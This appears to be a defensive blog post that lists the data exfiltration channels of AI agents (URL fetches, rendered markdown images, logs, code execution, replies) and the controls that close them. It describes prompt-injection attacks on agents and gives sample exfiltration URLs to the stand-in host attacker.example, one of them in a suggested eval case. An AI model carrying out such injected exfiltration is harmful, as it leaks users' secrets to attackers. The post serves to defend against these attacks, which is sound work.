Data Exfiltration Paths You Forgot Your Agent Had

A URL fetch sends data in the request. A rendered markdown image leaks from the viewer's browser, bypassing every tool-level control. Enumerate the paths — several of them look like features.

Securing an agent usually focuses on what it can do — the write tools, the destructive actions, the permissions. The complementary question gets less attention: for data the agent can read, what are all the ways it could leave?

The answer is longer than most designs assume, and several of the paths look like features.

Enumerate the outbound surface

Anything that transmits bytes to somewhere you don't control is an exfiltration channel. Working through a typical agent:

The obvious ones. Email, chat messages, webhook calls, file uploads, API writes to external services. These get reviewed.

URL fetching. A tool that fetches a URL sends the URL to the destination. Data encoded into a path or query string — attacker.example/collect?d=<base64> — leaves in the request itself, before any response comes back. A "read-only" fetch tool is an outbound channel.

Image and resource loading. If output is rendered anywhere that loads remote images, a generated markdown image tag with a crafted URL exfiltrates on render. The agent never called a tool; the viewer's client made the request. ⚠️ This one surprises people because the transmission happens outside the agent entirely.

Error reporting and logs. If tool arguments are logged to a third-party service, and the agent puts sensitive data in an argument, the data is now in a system with a different access policy. This isn't malicious — it's the ordinary path by which customer data ends up in an observability vendor.

Code execution with network access. Complete and unrestricted, if egress isn't blocked.

The response itself. The most-used channel. If the agent can read data from tenant A and reply to a user in tenant B, the reply is the leak — no external service needed.

Rank by whether a compromised context is enough

The useful triage: which of these could be triggered purely by text the agent read, with no other failure?

  • URL fetch with an unrestricted host list → yes. One injected instruction suffices.
  • Image rendering in the output → yes, and it bypasses tool-level controls entirely.
  • Email or message to an arbitrary recipient → yes, if the recipient is model-supplied.
  • Email to a fixed recipient list → no. The channel exists but the destination is constrained.

That distinction sorts the work: constrain the destination, and the channel stops being useful to an attacker even if the injection succeeds.

The controls that hold

Egress allowlists. For fetching, for code execution, for webhooks. A fixed set of hosts, enforced at the network layer rather than checked in a tool handler. This is the highest-value control and typically the least implemented, because it's inconvenient during development.

Fixed destinations for messaging. Recipients from the run's context — the user who started it, the ticket's participants — never from model output. If the agent must be able to mail an arbitrary address, that's a gated action, not a routine one.

Sanitize outputs that get rendered. Strip or neutralize remote resource references in generated markdown and HTML. If output is displayed anywhere, treat it as untrusted content on the way out as well as in.

Redact before context, not after. Data the agent never sees can't be leaked through any channel. Field-level redaction at the tool handler is stronger than any downstream control. → For anything genuinely sensitive, ask whether the agent needs the value or only needs to know it exists.

Scope the reads. Exfiltration requires data to exfiltrate. Per-user tokens and tenant-scoped queries limit the blast radius of every path simultaneously.

🔍 The audit

For each tool, one question: can this cause bytes to reach a destination the model influenced?

Build the table. Fetching, messaging, code execution, and anything rendering output will be on it, and there's usually one or two nobody expected — a "share" feature, a notification integration, a diagnostic tool that posts to a support system.

Then for each row: is the destination constrained outside the model? If not, that's the work.

✅ Add an eval case that attempts exfiltration through each channel. A document instructing the agent to fetch attacker.example/?d=<secrets>, a ticket asking it to email a summary externally, a prompt seeking a markdown image with data in the URL. Assert on outbound network attempts, not on what the model said.

Monitoring, for when a control fails

  • Blocked egress attempts. Should be near zero. Any sustained rate is either an injection working or someone probing.
  • Outbound destinations by frequency. A new destination appearing is worth an alert.
  • Recipients of messages sent, especially any outside your organization.
  • Response size anomalies. A reply an order of magnitude larger than usual may be dumping data.

The takeaway

Enumerate every path by which bytes can leave, including the ones that aren't tool calls — rendered images, logged arguments, encoded URLs. Constrain destinations outside the model with network-layer allowlists and context-derived recipients, redact sensitive fields before they enter the context at all, and test each channel with a deliberate attempt. Assume the context can be compromised; the goal is that a compromised context has nowhere to send anything.

Keep reading

Similar posts

Matched on shared tags and category — the more bars, the stronger the overlap with what you just read.